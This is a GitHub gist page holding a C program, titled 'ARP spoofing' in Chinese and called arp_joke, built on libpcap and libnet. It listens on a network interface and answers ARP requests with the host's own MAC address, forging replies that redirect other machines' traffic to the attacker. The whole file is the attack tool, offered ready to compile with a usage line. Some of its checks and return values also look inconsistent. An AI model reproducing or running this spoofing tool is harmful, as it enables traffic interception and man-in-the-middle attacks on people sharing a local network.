Created
December 25, 2016 12:43
-
-
Save fireflyc/796f55d54be39e629a2a1fcb2607a33b to your computer and use it in GitHub Desktop.
arp欺骗
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <pcap.h> | |
#include <stdlib.h> | |
#include <libnet.h> | |
#define log_error(...) fprintf(stderr, __VA_ARGS__) | |
#define log_info(...) fprintf(stdout, __VA_ARGS__) | |
#define FALSE (0==1) | |
#define TRUE (1==1) | |
typedef struct arp_joke { | |
char *ifi; | |
} arp_joke_t; | |
typedef struct arphdr { | |
u_int16_t htype; /* Hardware Type */ | |
u_int16_t ptype; /* Protocol Type */ | |
u_char hlen; /* Hardware Address Length */ | |
u_char plen; /* Protocol Address Length */ | |
u_int16_t oper; /* Operation Code */ | |
u_char sha[6]; /* Sender hardware address */ | |
u_char spa[4]; /* Sender IP address */ | |
u_char tha[6]; /* Target hardware address */ | |
u_char tpa[4]; /* Target IP address */ | |
} arphdr_t; | |
int response_arp(char *device, struct libnet_ethernet_hdr *eth_hdr, arphdr_t *arp_hdr, char *errbuf) { | |
libnet_t *net = libnet_init(LIBNET_LINK, device, errbuf); | |
if (net == NULL) { | |
return FALSE; | |
} | |
struct libnet_ether_addr *mac_addr = libnet_get_hwaddr(net); | |
if (memcmp(mac_addr->ether_addr_octet, arp_hdr->tha, 6) || | |
memcmp(mac_addr->ether_addr_octet, arp_hdr->sha, 6)) { | |
return FALSE; | |
} | |
libnet_ptag_t t = libnet_autobuild_arp( | |
ARPOP_REPLY, /* operation type */ | |
(const uint8_t *) mac_addr, /* sender hardware addr */ | |
(uint8_t *) &arp_hdr->tpa, /* sender protocol addr */ | |
eth_hdr->ether_shost, /* target hardware addr */ | |
(uint8_t *) &arp_hdr->spa, /* target protocol addr */ | |
net); /* libnet id */ | |
if (t == -1) { | |
snprintf(errbuf, BUFSIZ, "Can't build ARP header: %s\n", libnet_geterror(net)); | |
libnet_destroy(net); | |
return EXIT_FAILURE; | |
} | |
t = libnet_build_ethernet( | |
arp_hdr->sha, /* ethernet destination */ | |
(const uint8_t *) mac_addr, | |
ETHERTYPE_ARP, /* protocol type */ | |
NULL, | |
0, | |
net, /* libnet handle */ | |
0); | |
if (t == -1) { | |
snprintf(errbuf, BUFSIZ, "Can't build ethernet header: %s\n", libnet_geterror(net)); | |
libnet_destroy(net); | |
return EXIT_FAILURE; | |
} | |
int write_size = libnet_write(net); | |
if (write_size == -1) { | |
snprintf(errbuf, BUFSIZ, "Writer error %s", libnet_geterror(net)); | |
libnet_destroy(net); | |
return EXIT_FAILURE; | |
} | |
libnet_destroy(net); | |
return EXIT_SUCCESS; | |
} | |
void on_packet(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) { | |
arp_joke_t *arp_joke = (arp_joke_t *) arg; | |
char errbuf[BUFSIZ]; | |
struct libnet_ethernet_hdr *ether_hdr = (struct libnet_ethernet_hdr *) packet; | |
if (ntohs(ether_hdr->ether_type) == ETHERTYPE_ARP) { | |
arphdr_t *arp_hdr = (arphdr_t *) (packet + LIBNET_ETH_H); | |
if (ntohs(arp_hdr->oper) == ARPOP_REQUEST) { | |
log_info("received arp query\n"); | |
//收到ARP | |
response_arp(arp_joke->ifi, ether_hdr, arp_hdr, errbuf); | |
log_info("send response\n"); | |
} | |
return; | |
} | |
} | |
pcap_t *init_pcap(const char *dev, const char *filter_exp, char *errbuf) { | |
bpf_u_int32 netp; | |
bpf_u_int32 maskp; | |
if (pcap_lookupnet(dev, &netp, &maskp, errbuf) == -1) { | |
snprintf(errbuf, BUFSIZ, "lookup %s failed", dev); | |
return NULL; | |
} | |
pcap_t *pcap = pcap_open_live(dev, 1500, 1, 0, errbuf); | |
if (pcap == NULL) { | |
return NULL; | |
} | |
if (filter_exp != NULL) { | |
struct bpf_program fp; | |
if (pcap_compile(pcap, &fp, filter_exp, 1, netp) == -1) { | |
snprintf(errbuf, BUFSIZ, "Compile filter expression failed %s cause: %s", filter_exp, | |
pcap_geterr(pcap)); | |
pcap_close(pcap); | |
return NULL; | |
} | |
if (pcap_setfilter(pcap, &fp) == -1) { | |
snprintf(errbuf, BUFSIZ, "Install filter failed %s", pcap_geterr(pcap)); | |
pcap_close(pcap); | |
return NULL; | |
} | |
} | |
return pcap; | |
} | |
pcap_t *pcap = NULL; | |
arp_joke_t *arp_joke = NULL; | |
void on_exit(int sig) { | |
if (arp_joke != NULL) { | |
free(arp_joke); | |
} | |
if (pcap != NULL) { | |
pcap_close(pcap); | |
} | |
} | |
int main(int argc, char **argv) { | |
if (argc != 2) { | |
printf("usage arp_joke <network card>\n"); | |
return EXIT_FAILURE; | |
} | |
char errbuf[BUFSIZ]; | |
pcap = init_pcap(argv[1], NULL, errbuf); | |
if (pcap == NULL) { | |
log_error("init pcap failed %s\n", errbuf); | |
return EXIT_FAILURE; | |
} | |
//获取mac地址 | |
log_info("Start Success\n"); | |
arp_joke = (arp_joke_t *) malloc(sizeof(arp_joke_t)); | |
arp_joke->ifi = argv[1]; | |
signal(SIGINT, on_exit); | |
pcap_loop(pcap, -1, on_packet, (u_char *) arp_joke); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment